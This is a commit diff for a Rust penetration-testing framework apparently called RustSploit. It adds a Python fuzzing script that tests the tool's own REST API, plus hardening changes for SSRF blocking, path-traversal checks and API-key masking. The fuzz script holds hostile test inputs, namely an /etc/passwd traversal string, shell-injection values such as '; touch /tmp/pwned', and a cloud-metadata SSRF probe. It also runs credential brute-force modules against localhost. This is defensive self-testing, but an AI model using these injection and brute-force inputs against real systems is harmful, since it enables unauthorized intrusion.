- Transport abstractions for UDP/DoS modules
Contributions are welcome—open an issue or start a discussion before large refactors.
---
Happy hacking, and remember: **authorized testing only**. Commit messages and module descriptions should always reflect controlled research usage. !***
## Wiki Index
| Document | Description |
|----------|-------------|
| [Home](Home.md) | Full documentation index |
| [Getting Started](Getting-Started.md) | Installation, build, Docker |
| [Interactive Shell](Interactive-Shell.md) | Shell walkthrough and commands |
| [CLI Reference](CLI-Reference.md) | All CLI flags and examples |
| [API Server](API-Server.md) | REST API startup, auth, hardening |
| [API Usage Examples](API-Usage-Examples.md) | Practical curl workflows |
| [Module Catalog](Module-Catalog.md) | All modules by category |
| [Module Development](Module-Development.md) | How to author new modules |
| [Security & Validation](Security-Validation.md) | Input validation, security patterns |
| [Credential Modules Guide](Credential-Modules-Guide.md) | Brute-force module best practices |
| [Exploit Modules Guide](Exploit-Modules-Guide.md) | Exploit module best practices |
| [Utilities & Helpers](Utilities-Helpers.md) | `utils.rs` public API |
| [Testing & QA](Testing-QA.md) | Build checks and smoke tests |
| [Changelog](Changelog.md) | Release notes |
| [Contributing](Contributing.md) | Fork guide and PR checklist |
| [Credits](Credits.md) | Authors and acknowledgements |
fuzz_api.py
+211
View File
@@ -0,0 +1,211 @@
import requests
import json
import time
import os
API_URL = "http://127.0.0.1:8080"
API_KEY = "fuzzingkey123"
HEADERS = {
"Authorization": f"Bearer {API_KEY}",
"Content-Type": "application/json"
}
# Create dummy wordlists
with open("fuzz_users.txt", "w") as f:
f.write("admin\nroot\nuser\n")
with open("fuzz_pass.txt", "w") as f:
f.write("admin\npassword\n1234\n")
# Provide default prompt bypasses for modules that expect custom config keys
PROMPT_DEFAULTS = {
"creds/generic/fortinet_bruteforce": {"port": "443", "concurrency": "10", "timeout": "10", "stop_on_success": "yes", "save_results": "no", "verbose": "no", "combo_mode": "no", "trusted_cert": "", "realm": ""},
"creds/generic/ftp_anonymous": {"port": "21"},
"creds/generic/ftp_bruteforce": {"port": "21", "save_results": "no", "combo_mode": "no"},
"creds/generic/l2tp_bruteforce": {"port": "1701", "save_results": "no"},
"creds/generic/mqtt_bruteforce": {"port": "1883", "save_results": "no", "combo_mode": "no", "tls": "no"},
"creds/generic/pop3_bruteforce": {"port": "110", "save_results": "no", "combo_mode": "no", "tls": "no"},
"creds/generic/rdp_bruteforce": {"port": "3389", "domain": "", "save_results": "no"},
"creds/generic/rtsp_bruteforce": {"port": "554", "save_results": "no"},
"creds/generic/sample_cred_check": {"save_results": "no"},
"creds/generic/smtp_bruteforce": {"port": "25", "domain": "test.com", "save_results": "no", "combo_mode": "no", "tls": "no"},
"creds/generic/snmp_bruteforce": {"port": "161", "version": "2c", "save_results": "no"},
"creds/generic/ssh_bruteforce": {"port": "22", "save_results": "no", "combo_mode": "no"},
"creds/generic/ssh_spray": {"port": "22", "save_results": "no"},
"creds/generic/telnet_bruteforce": {"port": "23", "save_results": "no", "combo_mode": "no"},
}
def get_modules():
try:
r = requests.get(f"{API_URL}/api/modules", headers=HEADERS)
if r.status_code == 200:
return r.json().get("data", {}).get("creds", [])
except Exception as e:
print(f"Error getting modules: {e}")
return []
def test_module_legitimate(module_name, results_file):
print(f"Testing legitimate run: {module_name}")
# Massive dictionary to catch all possible fallback prompts across all modules
mega_prompts = {
"port": "22", "concurrency": "10", "timeout": "10", "stop_on_success": "yes",
"save_results": "no", "combo_mode": "no", "tls": "no", "use_defaults": "no",
"use_username_wordlist": "yes", "use_password_wordlist": "yes", "retry_on_error": "no",
"max_retries": "1", "verbose": "no", "save_unknown_responses": "no", "test_anonymous": "no",
"client_id": "fuzz", "use_tls": "no", "use_exclusions": "yes", "threads": "10",
"delay_ms": "0", "version": "2c", "domain": "test", "trusted_cert": "", "realm": "",
"auth_bypass": "no", "force_exploit": "yes", "check_only": "no", "ssl": "no",
"mode": "1", "scan_network": "no", "payload": "id"
}
specific_prompts = PROMPT_DEFAULTS.get(module_name, {})
mega_prompts.update(specific_prompts)
payload = {
"module": module_name,
"target": "127.0.0.1",
"username_wordlist": "fuzz_users.txt",
"password_wordlist": "fuzz_pass.txt",
"concurrency": 10,
"stop_on_success": True,
"prompts": mega_prompts
}
start = time.time()
try:
r = requests.post(f"{API_URL}/api/run", headers=HEADERS, json=payload, timeout=30)
duration = time.time() - start
res = r.json()
status = f"SUCCESS ({r.status_code})" if res.get("success") else f"FAIL ({r.status_code}) - {res.get('error_code')} - {res.get('message')}"
results_file.write(f"[LEGIT] Module: {module_name:30} | {status} | Time: {duration:.2f}s\n")
except requests.exceptions.Timeout:
results_file.write(f"[LEGIT] Module: {module_name:30} | FAIL (TIMEOUT) | Time: >30s\n")
except Exception as e:
results_file.write(f"[LEGIT] Module: {module_name:30} | FAIL ({str(e)})\n")
def test_fuzzing(bugs_file):
print("Running initial security fuzzing...")
bugs_file.write("--- API Initial Fuzzing Bugs ---\n")
# Path Traversal in module name
payload = {"module": "../../../../../etc/passwd", "target": "127.0.0.1"}
r = requests.post(f"{API_URL}/api/run", headers=HEADERS, json=payload)
if r.status_code == 200 or "root:x" in r.text or ("unauthorized access" not in r.text.lower() and "invalid module name" not in r.text.lower() and r.status_code == 500):
bugs_file.write(f"BUG: /api/run potentially vulnerable to path traversal (status {r.status_code})\n")
# Very long target
payload = {"module": "creds/generic/ssh_bruteforce", "target": "A" * 5000}
r = requests.post(f"{API_URL}/api/run", headers=HEADERS, json=payload)
if r.status_code >= 500:
bugs_file.write("BUG: /api/run returned 500 on very long target string\n")
# Command Injection in target
payload = {"module": "creds/generic/ssh_bruteforce", "target": "127.0.0.1; touch /tmp/pwned"}
r = requests.post(f"{API_URL}/api/run", headers=HEADERS, json=payload)
if os.path.exists("/tmp/pwned"):
bugs_file.write("CRITICAL BUG: command injection in target parameter (/tmp/pwned created)\n")
# Exec Endpoint Command Injection Chain
payload = {"command": "help & echo 'injection_test'"}
r = requests.post(f"{API_URL}/api/exec", headers=HEADERS, json=payload)
if r.status_code == 200 and "injection_test" in r.text:
bugs_file.write("BUG: /api/exec executes raw shell commands instead of mapping them\n")
def test_portswigger_vulnerabilities(bugs_file):
print("Running PortSwigger API Security Top 10 tests...")
bugs_file.write("\n--- PortSwigger API Security Findings ---\n")
# 1. Broken Authentication (BOLA/Authentication)
print(" Testing Broken Authentication...")
r = requests.post(f"{API_URL}/api/run", json={"module": "creds/generic/ssh_bruteforce", "target": "127.0.0.1"})
if r.status_code != 401:
bugs_file.write(f"BUG (Broken Auth): /api/run accessible without Auth header (Status: {r.status_code})\n")
bad_headers = {"Authorization": "Bearer BADKEY", "Content-Type": "application/json"}
r = requests.post(f"{API_URL}/api/run", headers=bad_headers, json={"module": "creds/generic/ssh_bruteforce", "target": "127.0.0.1"})
if r.status_code != 401:
bugs_file.write(f"BUG (Broken Auth): /api/run accessible with BAD token (Status: {r.status_code})\n")
# 2. HTTP Method Tampering (Security Misconfiguration)
print(" Testing HTTP Method Tampering...")
r = requests.get(f"{API_URL}/api/run", headers=HEADERS)
if r.status_code not in [404, 405]:
bugs_file.write(f"BUG (Method Tampering): /api/run accepted a GET request (Status: {r.status_code})\n")
r = requests.put(f"{API_URL}/api/honeypot-check", headers=HEADERS, json={"target": "127.0.0.1"})
if r.status_code not in [404, 405]:
bugs_file.write(f"BUG (Method Tampering): /api/honeypot-check accepted a PUT request (Status: {r.status_code})\n")
# 3. Content-Type Manipulation (Security Misconfiguration)
print(" Testing Content-Type Manipulation...")
xml_data = "<xml><module>creds/generic/ssh_bruteforce</module><target>127.0.0.1</target></xml>"
ct_headers = {"Authorization": f"Bearer {API_KEY}", "Content-Type": "application/xml"}
r = requests.post(f"{API_URL}/api/run", headers=ct_headers, data=xml_data)
if r.status_code not in [400, 415]:
bugs_file.write(f"BUG (Content-Type): /api/run accepted XML incorrectly formatted instead of JSON returning 400/415 (Status: {r.status_code})\n")
# 4. Mass Assignment
print(" Testing Mass Assignment...")
payload = {
"module": "creds/generic/ssh_bruteforce",
"target": "127.0.0.1",
"is_admin": True,
"role": "admin",
"api_key": "overwritten"
}
r = requests.post(f"{API_URL}/api/run", headers=HEADERS, json=payload)
if r.status_code == 200:
bugs_file.write("INFO: Server ignores extra fields (Mass Assignment mitigated contextually)\n")
elif r.status_code == 500:
bugs_file.write("BUG (Mass Assignment/Error Handling): Server crashed on extra unexpected JSON fields (Status: 500)\n")
# 5. Lack of Resources / Rate Limiting (DoS)
print(" Testing Rate Limiting...")
successes = 0
start = time.time()
for _ in range(50):
try:
res = requests.get(f"{API_URL}/api/modules", headers=HEADERS, timeout=2)
if res.status_code == 200:
successes += 1
except:
pass
duration = time.time() - start
if successes == 50:
bugs_file.write(f"BUG (Lack of Resources/Rate Limiting): Server allowed 50 requests in {duration:.2f} seconds with no rate limiting applied\n")
# 6. Server-Side Request Forgery (SSRF)
print(" Testing SSRF (Server-Side Request Forgery)...")
payload = {"target": "169.254.169.254"}
r = requests.post(f"{API_URL}/api/honeypot-check", headers=HEADERS, json=payload, timeout=5)
if r.status_code == 200:
bugs_file.write("BUG (SSRF): API allows scanning internal/cloud metadata IP (169.254.169.254)\n")
else:
bugs_file.write("INFO (SSRF): Local/cloud metadata request was rejected or failed as expected.\n")
payload = {"target": "127.0.0.1"}
r = requests.post(f"{API_URL}/api/honeypot-check", headers=HEADERS, json=payload, timeout=5)
if r.status_code == 200:
bugs_file.write("INFO (SSRF): API legitimately allows scanning localhost/127.0.0.1 by its design.\n")
def main():
print("Fetching modules...")
modules = get_modules()
if not modules:
print("No creds modules found or API not running.")
return
print(f"Found {len(modules)} creds modules.")
with open("results.txt", "w") as results_file:
for mod in modules:
test_module_legitimate(mod, results_file)
with open("bugs.txt", "w") as bugs_file:
test_fuzzing(bugs_file)
test_portswigger_vulnerabilities(bugs_file)
print("Testing complete. Check results.txt and bugs.txt")
if __name__ == "__main__":
main()
src/api.rs
+233 -57
View File
@@ -135,7 +135,7 @@ pub struct HoneypotCheckRequest {
}
#[derive(Serialize, Deserialize)]
pub struct ExecRequest {
pub struct ShellRequest {
/// Single command (backward compatible)
pub command: Option<String>,
/// Array of commands for chaining (preferred, more secure than string splitting)
@@ -143,7 +143,7 @@ pub struct ExecRequest {
}
#[derive(Serialize, Deserialize)]
struct ExecResult {
struct ShellResult {
command: String,
success: bool,
output: String,
@@ -164,30 +164,65 @@ fn validate_target(target: &str) -> bool {
}
/// Check if a target IP is a blocked internal/metadata address.
/// Blocks cloud metadata IPs (169.254.0.0/16), null addresses (0.0.0.0), etc.
/// Blocks loopback, RFC-1918 private ranges, link-local, cloud metadata,
/// and any hostname that resolves to "localhost".
fn is_blocked_target(target: &str) -> bool {
let ip_str = target.split(':').next().unwrap_or(target);
if let Ok(ip) = ip_str.parse::<std::net::IpAddr>() {
// Strip port suffix and brackets (IPv6) to isolate the host part
let host = {
let s = target.split(':').next().unwrap_or(target);
s.trim_matches('[').trim_matches(']')
};
// Block localhost by name
if host.eq_ignore_ascii_case("localhost") {
return true;
}
if let Ok(ip) = host.parse::<std::net::IpAddr>() {
match ip {
std::net::IpAddr::V4(v4) => {
// Block link-local / cloud metadata (169.254.0.0/16)
if v4.octets()[0] == 169 && v4.octets()[1] == 254 {
return true;
}
// Block 0.0.0.0
if v4.is_unspecified() {
return true;
}
let o = v4.octets();
// Loopback 127.0.0.0/8
if o[0] == 127 { return true; }
// Unspecified 0.0.0.0
if v4.is_unspecified() { return true; }
// Link-local / metadata 169.254.0.0/16
if o[0] == 169 && o[1] == 254 { return true; }
// RFC-1918: 10.0.0.0/8
if o[0] == 10 { return true; }
// RFC-1918: 172.16.0.0/12
if o[0] == 172 && o[1] >= 16 && o[1] <= 31 { return true; }
// RFC-1918: 192.168.0.0/16
if o[0] == 192 && o[1] == 168 { return true; }
// Carrier-grade NAT 100.64.0.0/10
if o[0] == 100 && (o[1] & 0xC0) == 64 { return true; }
}
std::net::IpAddr::V6(v6) => {
if v6.is_unspecified() {
return true;
}
// Unspecified (::)
if v6.is_unspecified() { return true; }
// Loopback (::1)
if v6.is_loopback() { return true; }
// Link-local (fe80::/10)
let seg = v6.segments();
if (seg[0] & 0xFFC0) == 0xFE80 { return true; }
// Unique local (fc00::/7)
if (seg[0] & 0xFE00) == 0xFC00 { return true; }
}
}
}
// Also check raw string for targets like "169.254.169.254:80"
ip_str.starts_with("169.254.")
// Raw-string fallback for targets not yet parsed (e.g. "169.254.169.254:80")
host.starts_with("127.")
|| host.starts_with("169.254.")
|| host.starts_with("10.")
|| host.starts_with("192.168.")
|| (host.starts_with("172.") && {
// 172.16.0.0/12
host[4..].split('.').next()
.and_then(|n| n.parse::<u8>().ok())
.map(|n| n >= 16 && n <= 31)
.unwrap_or(false)
})
}
/// Check if exec input contains shell metacharacters that could enable injection.
@@ -211,6 +246,10 @@ async fn auth_middleware(
let ip = addr.ip();
let now = Instant::now();
if let Ok(mut limiter) = state.rate_limiter.lock() {
// Prune stale entries to prevent unbounded HashMap growth
if limiter.len() > 10_000 {
limiter.retain(|_, (_, ts)| now.duration_since(*ts).as_secs() < 60);
}
let entry = limiter.entry(ip).or_insert((0, now));
if now.duration_since(entry.1).as_secs() >= RATE_LIMIT_WINDOW_SECS {
*entry = (1, now);
@@ -489,6 +528,20 @@ async fn run_module(
.into_response();
}
// Validate output_file for path traversal before injecting into prompts
if let Some(ref f) = payload.output_file {
let bad = f.contains("..") || f.contains('/') || f.contains('\\') || f.contains('\0');
if bad {
return (
StatusCode::BAD_REQUEST,
Json(err_response(
"Invalid output_file: must not contain path separators or traversal sequences",
"INVALID_OUTPUT_FILE",
)),
).into_response();
}
}
// Set module config (like CLI does via prompts, the API passes them in the request)
let mut module_config = crate::config::ModuleConfig {
port: payload.port,
@@ -899,12 +952,17 @@ async fn honeypot_check(Json(payload): Json<HoneypotCheckRequest>) -> Response {
// ─── Shell-Parity Exec Endpoint ─────────────────────────────────────
/// POST /api/exec — execute internal commands remotely (mirrors interactive shell)
/// POST /api/shell — run interactive-shell commands remotely (mirrors the interactive `rsf>` shell)
///
/// Use this endpoint to execute the same commands as the interactive shell:
/// `use`, `set target`, `set subnet`, `show_target`, `clear_target`, `run`, `run_all`, `find`, `modules`, `back`.
///
/// For direct module execution with prompts, prefer POST /api/run instead.
/// Supports secure command chaining via JSON array `commands` field.
/// Each command is individually validated — no shell metacharacters allowed.
async fn exec_command(
async fn shell_command(
State(state): State<ApiState>,
Json(payload): Json<ExecRequest>,
Json(payload): Json<ShellRequest>,
) -> Response {
// Build command list from either `commands` (array) or `command` (single string)
let command_list: Vec<String> = if let Some(cmds) = &payload.commands {
@@ -924,12 +982,12 @@ async fn exec_command(
).into_response();
};
let mut results: Vec<ExecResult> = Vec::new();
let mut results: Vec<ShellResult> = Vec::new();
for raw_cmd in &command_list {
let trimmed = raw_cmd.trim().to_string();
if trimmed.is_empty() || trimmed.len() > 4096 {
results.push(ExecResult {
results.push(ShellResult {
command: trimmed,
success: false,
output: "Command is empty or too long (max 4096 chars)".to_string(),
@@ -940,7 +998,7 @@ async fn exec_command(
// Validate each individual command against shell metacharacters
if contains_shell_metacharacters(&trimmed) {
results.push(ExecResult {
results.push(ShellResult {
command: trimmed,
success: false,
output: "Command contains forbidden characters (& | ; ` $ > <). Use the 'commands' JSON array for chaining.".to_string(),
@@ -961,11 +1019,22 @@ async fn exec_command(
match command_key.as_str() {
"help" => {
results.push(ExecResult {
results.push(ShellResult {
command: trimmed.to_string(),
success: true,
output: "Available commands: help, modules, find <query>, use <module>, \
set/target <ip>, show_target, clear_target, run, run_all, back, exit"
output: "Available commands (same as interactive shell):\n\
help | h | ? — This help\n\
modules | ls | m — List all modules\n\
find <kw> | f1 <kw> — Search modules by keyword\n\
use <path> | u <path> — Select a module\n\
set target <ip> | t <ip> — Set target (single IP/hostname)\n\
set subnet <CIDR> | sn <CIDR>— Set target to CIDR subnet\n\
show_target | st — Show current target & module\n\
clear_target | ct — Clear target\n\
run [target] — Run selected module\n\
run_all [target] — Run all modules against target\n\
back | b — Deselect current module\n\
exit — (no-op in API mode)"
.to_string(),
duration_ms: None,
});
@@ -981,7 +1050,7 @@ async fn exec_command(
else if m.starts_with("scanners/") { scanners.push(m.as_str()); }
else if m.starts_with("creds/") { creds.push(m.as_str()); }
}
results.push(ExecResult {
results.push(ShellResult {
command: trimmed.to_string(),
success: true,
output: serde_json::json!({
@@ -996,7 +1065,7 @@ async fn exec_command(
"find" => {
if rest.is_empty() {
results.push(ExecResult {
results.push(ShellResult {
command: trimmed.to_string(),
success: false,
output: "Usage: find <query>".to_string(),
@@ -1008,7 +1077,7 @@ async fn exec_command(
let matches: Vec<&String> = modules.iter()
.filter(|m| m.to_lowercase().contains(&query))
.collect();
results.push(ExecResult {
results.push(ShellResult {
command: trimmed.to_string(),
success: true,
output: serde_json::json!({
@@ -1023,7 +1092,7 @@ async fn exec_command(
"use" => {
if rest.is_empty() {
results.push(ExecResult {
results.push(ShellResult {
command: trimmed.to_string(),
success: false,
output: "Usage: use <module_path>".to_string(),
@@ -1042,7 +1111,7 @@ async fn exec_command(
if let Ok(mut cm) = state.current_module.lock() {
*cm = Some(path.clone());
}
results.push(ExecResult {
results.push(ShellResult {
command: trimmed.to_string(),
success: true,
output: format!("Module selected: {}", path),
@@ -1058,7 +1127,7 @@ async fn exec_command(
} else {
String::new()
};
results.push(ExecResult {
results.push(ShellResult {
command: trimmed.to_string(),
success: false,
output: format!("Unknown module '{}'.{}", path, suggestion),
@@ -1067,7 +1136,7 @@ async fn exec_command(
}
}
None => {
results.push(ExecResult {
results.push(ShellResult {
command: trimmed.to_string(),
success: false,
output: "Invalid module path".to_string(),
@@ -1079,32 +1148,48 @@ async fn exec_command(
}
"set" => {
if rest.is_empty() {
results.push(ExecResult {
// Mirror shell.rs: `set target <ip>`, `t <ip>`, `set subnet <cidr>`, `sn <cidr>`
// Peel off leading "target ", "t ", "subnet ", "sn " keywords to extract the value
let raw_value = if rest.starts_with("target ") {
rest.strip_prefix("target ").unwrap_or(&rest).trim()
} else if rest.starts_with("t ") {
rest.strip_prefix("t ").unwrap_or(&rest).trim()
} else {
rest.trim()
};
if raw_value.is_empty() {
results.push(ShellResult {
command: trimmed.to_string(),
success: false,
output: "Usage: set <target>".to_string(),
output: "Usage: set target <ip> or set subnet <CIDR> or t <ip> or sn <CIDR>".to_string(),
duration_ms: None,
});
} else if !validate_target(&rest) {
results.push(ExecResult {
} else if !validate_target(raw_value) {
results.push(ShellResult {
command: trimmed.to_string(),
success: false,
output: "Invalid target".to_string(),
duration_ms: None,
});
} else {
match crate::config::GLOBAL_CONFIG.set_target(&rest) {
// Strip CIDR prefix if user did `set target 1.2.3.4/24` (single-IP intent)
let ip_only = if raw_value.contains('/') {
raw_value.split('/').next().unwrap_or(raw_value)
} else {
raw_value
};
match crate::config::GLOBAL_CONFIG.set_target(ip_only) {
Ok(_) => {
results.push(ExecResult {
results.push(ShellResult {
command: trimmed.to_string(),
success: true,
output: format!("Target set to: {}", rest),
output: format!("Target set to: {}", ip_only),
duration_ms: None,
});
}
Err(e) => {
results.push(ExecResult {
results.push(ShellResult {
command: trimmed.to_string(),
success: false,
output: format!("Failed to set target: {}", e),
@@ -1115,10 +1200,75 @@ async fn exec_command(
}
}
"set_subnet" => {
// Mirror shell.rs set_subnet: accepts `sn <CIDR>`, `subnet <CIDR>`, `set subnet <CIDR>`
let raw_value = if rest.starts_with("subnet ") {
rest.strip_prefix("subnet ").unwrap_or(&rest).trim()
} else if rest.starts_with("sn ") {
rest.strip_prefix("sn ").unwrap_or(&rest).trim()
} else {
rest.trim()
};
if raw_value.is_empty() {
results.push(ShellResult {
command: trimmed.to_string(),
success: false,
output: "Usage: sn <CIDR> or set subnet <CIDR> (e.g. 192.168.1.0/24)".to_string(),
duration_ms: None,
});
} else if !raw_value.contains('/') {
results.push(ShellResult {
command: trimmed.to_string(),
success: false,
output: "Not a subnet — use CIDR notation (e.g. 192.168.1.0/24). For single IPs use: set target <IP>".to_string(),
duration_ms: None,
});
} else if !validate_target(raw_value) {
results.push(ShellResult {
command: trimmed.to_string(),
success: false,
output: "Invalid CIDR target".to_string(),
duration_ms: None,
});
} else if raw_value.parse::<ipnetwork::IpNetwork>().is_err() {
results.push(ShellResult {
command: trimmed.to_string(),
success: false,
output: format!("Invalid CIDR notation: {}", raw_value),
duration_ms: None,
});
} else {
match crate::config::GLOBAL_CONFIG.set_target(raw_value) {
Ok(_) => {
let size = crate::config::GLOBAL_CONFIG.get_target_size();
let msg = match size {
Some(s) => format!("Subnet set to: {} ({} IPs)", raw_value, s),
None => format!("Subnet set to: {}", raw_value),
};
results.push(ShellResult {
command: trimmed.to_string(),
success: true,
output: msg,
duration_ms: None,
});
}
Err(e) => {
results.push(ShellResult {
command: trimmed.to_string(),
success: false,
output: format!("Failed to set subnet: {}", e),
duration_ms: None,
});
}
}
}
}
"show_target" => {
let target = crate::config::GLOBAL_CONFIG.get_target().unwrap_or_else(|| "Not set".to_string());
let module = state.current_module.lock().ok().and_then(|cm| cm.clone()).unwrap_or_else(|| "None".to_string());
results.push(ExecResult {
results.push(ShellResult {
command: trimmed.to_string(),
success: true,
output: serde_json::json!({
@@ -1131,7 +1281,7 @@ async fn exec_command(
"clear_target" => {
crate::config::GLOBAL_CONFIG.clear_target();
results.push(ExecResult {
results.push(ShellResult {
command: trimmed.to_string(),
success: true,
output: "Target cleared".to_string(),
@@ -1143,7 +1293,7 @@ async fn exec_command(
if let Ok(mut cm) = state.current_module.lock() {
*cm = None;
}
results.push(ExecResult {
results.push(ShellResult {
command: trimmed.to_string(),
success: true,
output: "Module deselected".to_string(),
@@ -1154,7 +1304,7 @@ async fn exec_command(
"run" => {
let module_path = state.current_module.lock().ok().and_then(|cm| cm.clone());
if module_path.is_none() {
results.push(ExecResult {
results.push(ShellResult {
command: trimmed.to_string(),
success: false,
output: "No module selected. Use 'use <module>' first.".to_string(),
@@ -1168,7 +1318,7 @@ async fn exec_command(
} else if crate::config::GLOBAL_CONFIG.has_target() {
crate::config::GLOBAL_CONFIG.get_target().unwrap_or_default()
} else {
results.push(ExecResult {
results.push(ShellResult {
command: trimmed.to_string(),
success: false,
output: "No target set. Use 'set <target>' first.".to_string(),
@@ -1177,11 +1327,22 @@ async fn exec_command(
continue;
};
// SSRF guard — shell 'run' must also validate the resolved target
if !validate_target(&target) || is_blocked_target(&target) {
results.push(ShellResult {
command: trimmed.to_string(),
success: false,
output: "Target is invalid or blocked (internal/private address)".to_string(),
duration_ms: None,
});
continue;
}
let verbose = state.verbose;
let run_start = std::time::Instant::now();
match commands::run_module(&module_path, &target, verbose).await {
Ok(_) => {
results.push(ExecResult {
results.push(ShellResult {
command: trimmed.to_string(),
success: true,
output: format!("Module '{}' executed against '{}'", module_path, target),
@@ -1189,7 +1350,7 @@ async fn exec_command(
});
}
Err(e) => {
results.push(ExecResult {
results.push(ShellResult {
command: trimmed.to_string(),
success: false,
output: format!("Module failed: {}", e),
@@ -1206,7 +1367,7 @@ async fn exec_command(
} else if crate::config::GLOBAL_CONFIG.has_target() {
crate::config::GLOBAL_CONFIG.get_target().unwrap_or_default()
} else {
results.push(ExecResult {
results.push(ShellResult {
command: trimmed.to_string(),
success: false,
output: "No target set for run_all".to_string(),
@@ -1215,6 +1376,17 @@ async fn exec_command(
continue;
};
// SSRF guard — run_all must check the resolved target too
if !validate_target(&target) || is_blocked_target(&target) {
results.push(ShellResult {
command: trimmed.to_string(),
success: false,
output: "Target is invalid or blocked (internal/private address)".to_string(),
duration_ms: None,
});
continue;
}
let modules = commands::discover_modules();
let verbose = state.verbose;
let run_start = std::time::Instant::now();
@@ -1226,7 +1398,7 @@ async fn exec_command(
Err(_) => fail_count += 1,
}
}
results.push(ExecResult {
results.push(ShellResult {
command: trimmed.to_string(),
success: true,
output: format!("run_all complete: {} ok, {} failed out of {} modules",
@@ -1236,7 +1408,7 @@ async fn exec_command(
}
"exit" => {
results.push(ExecResult {
results.push(ShellResult {
command: trimmed.to_string(),
success: true,
output: "Exit not applicable in API mode".to_string(),
@@ -1245,7 +1417,7 @@ async fn exec_command(
}
other => {
results.push(ExecResult {
results.push(ShellResult {
command: trimmed.to_string(),
success: false,
output: format!("Unknown command: '{}'", other),
@@ -1261,7 +1433,7 @@ async fn exec_command(
(
if all_ok { StatusCode::OK } else { StatusCode::OK },
Json(ok_response(
format!("{} command(s) executed", total),
format!("{} shell command(s) executed", total),
Some(serde_json::json!({
"results": results,
})),
@@ -1298,7 +1470,11 @@ pub async fn start_api_server(
println!("🚀 Starting RustSploit API server...");
println!("📍 Binding to: {}", bind_address);
println!("🔑 API key: {}", api_key);
// Do NOT print the API key in plaintext — log only a masked hint
println!("🔑 API key: {}...{} ({} chars)",
&api_key[..api_key.len().min(4)],
&api_key[api_key.len().saturating_sub(2)..],
api_key.len());
println!("📢 Verbose: {}", verbose);
// Protected routes (require API key)
@@ -1311,7 +1487,7 @@ pub async fn start_api_server(
.route("/api/target", post(set_target))
.route("/api/target", axum::routing::delete(clear_target))
.route("/api/honeypot-check", post(honeypot_check))
.route("/api/exec", post(exec_command))
.route("/api/shell", post(shell_command))
.route("/api/results", get(list_results))
.route("/api/results/{filename}", get(get_result_file))
.layer(axum::middleware::from_fn_with_state(
src/config.rs
+69
View File
@@ -219,6 +219,75 @@ pub static GLOBAL_CONFIG: Lazy<GlobalConfig> = Lazy::new(|| GlobalConfig::new())
/// Module-level configuration for API-driven execution
/// This is set by the API before running a module and read by modules
/// to get pre-configured values instead of prompting the user
///
/// # Unified Prompt Keys
///
/// These are the standardized `custom_prompts` keys used across all
/// scanner modules (via `cfg_prompt_*` in utils.rs). Supply them in the
/// JSON `"prompts"` object of an API `/api/run` request.
///
/// ## Common Keys (used by many modules)
/// | Key | Type | Description |
/// |-------------------|--------|------------------------------------------------|
/// | `port` | u16 | Target service port |
/// | `timeout` | int | Connection/request timeout (seconds or ms) |
/// | `verbose` | y/n | Verbose output |
/// | `save_results` | y/n | Save results to file |
/// | `output_file` | string | Output filename for results |
/// | `concurrency` | int | Number of concurrent threads/tasks |
/// | `threads` | int | Alias for concurrency (some modules) |
/// | `wordlist` | path | Path to wordlist file |
/// | `target_file` | path | Path to file containing targets |
/// | `additional_targets` | string | Comma-separated additional targets |
/// | `mode` | string | Operation mode selector (1, 2, 3, etc.) |
///
/// ## Scanner-Specific Keys
///
/// ### Port Scanner (`scanners/port_scanner`)
/// `port_range`, `scan_method`, `show_only_open`, `ttl`, `source_port`, `data_length`
///
/// ### SSH Scanner (`scanners/ssh_scanner`)
/// `load_from_file`, `target_file`
///
/// ### DNS Recursion (`scanners/dns_recursion`)
/// `domain`, `record_type`
///
/// ### SMTP User Enum (`scanners/smtp_user_enum`)
/// `timeout_ms`, `save_valid`, `valid_output`, `save_unknown`, `unknown_output`
///
/// ### Ping Sweep (`scanners/ping_sweep`)
/// `add_manual_targets`, `manual_target`, `load_from_file`, `save_up_hosts`,
/// `up_hosts_file`, `save_down_hosts`, `down_hosts_file`, `use_icmp`, `use_tcp`,
/// `tcp_ports`, `use_syn`, `syn_ports`, `use_ack`, `ack_ports`
///
/// ### HTTP Title Scanner (`scanners/http_title_scanner`)
/// `check_http`, `check_https`, `use_ports`, `ports`
///
/// ### HTTP Method Scanner (`scanners/http_method_scanner`)
/// `scheme`, `use_ports`, `ports`
///
/// ### Dir Brute (`scanners/dir_brute`)
/// `scan_mode`, `delay_ms`, `random_agent`, `custom_cookies`, `cookies`,
/// `use_https`, `base_path`, `template_name`, `template_file`, `sort_by`
///
/// ### Sequential Fuzzer (`scanners/sequential_fuzzer`)
/// `min_length`, `max_length`, `charset`, `custom_charset`, `encoding`,
/// `add_cookies`, `cookies`, `append_slash`, `template_name`, `template_file`, `target_url`
///
/// ### API Endpoint Scanner (`scanners/api_endpoint_scanner`)
/// `output_dir`, `use_spoofing`, `use_generic_payload`, `enable_delete`,
/// `enable_extended_methods`, `modules`, `enum_mode`, `id_start`, `id_end`,
/// `id_file`, `endpoint_source`, `base_path`, `endpoint_file`
///
/// ### IPMI Enum/Exploit (`scanners/ipmi_enum_exploit`)
/// `cidr`, `target`, `test_cipher_zero`, `test_anonymous`, `test_default_creds`,
/// `test_rakp_hash`, `continue_large_scan`, `destroy_confirm`
///
/// ### SSDP MSearch (`scanners/ssdp_msearch`)
/// `retries`, `search_target`
///
/// ### Sample Scanner (`scanners/sample_scanner`)
/// `check_http`, `check_https`
#[derive(Clone, Debug)]
pub struct ModuleConfig {
pub port: Option<u16>,
src/main.rs
+1
View File
@@ -11,6 +11,7 @@ mod modules;
mod utils;
mod api;
mod config;
mod native;
/// Maximum length for API key to prevent memory exhaustion
const MAX_API_KEY_LENGTH: usize = 256;
src/modules/creds/camxploit/camxploit.rs
+3 -2
View File
@@ -724,10 +724,11 @@ async fn run_mass_scan() -> Result<()> {
println!("{}", format!("[+] Loaded {} IP exclusion ranges", exclusions.len()).green());
// Prompt for thread count
let thread_count = crate::utils::prompt_int("Threads", 200)? as usize;
let thread_count = crate::utils::cfg_prompt_int_range("concurrency", "Threads", 200, 1, 5000)? as usize;
// Prompt for output file
let output_file = crate::utils::prompt_default(
let output_file = crate::utils::cfg_prompt_output_file(
"output_file",
"Output file for discovered cameras",
"camxploit_results.txt",
)?;
src/modules/creds/generic/ftp_anonymous.rs
+5 -5
View File
@@ -11,7 +11,7 @@ use tokio::io::AsyncWriteExt;
use std::net::{IpAddr, SocketAddr};
use tokio::net::TcpStream; // For fast connect check
use crate::utils::{prompt_int_range, prompt_yes_no, prompt_output_file};
use crate::utils::{cfg_prompt_int_range, cfg_prompt_yes_no, cfg_prompt_output_file};
use crate::modules::creds::utils::{generate_random_public_ip, is_ip_checked, mark_ip_checked, parse_exclusions, is_subnet_target, parse_subnet, subnet_host_count};
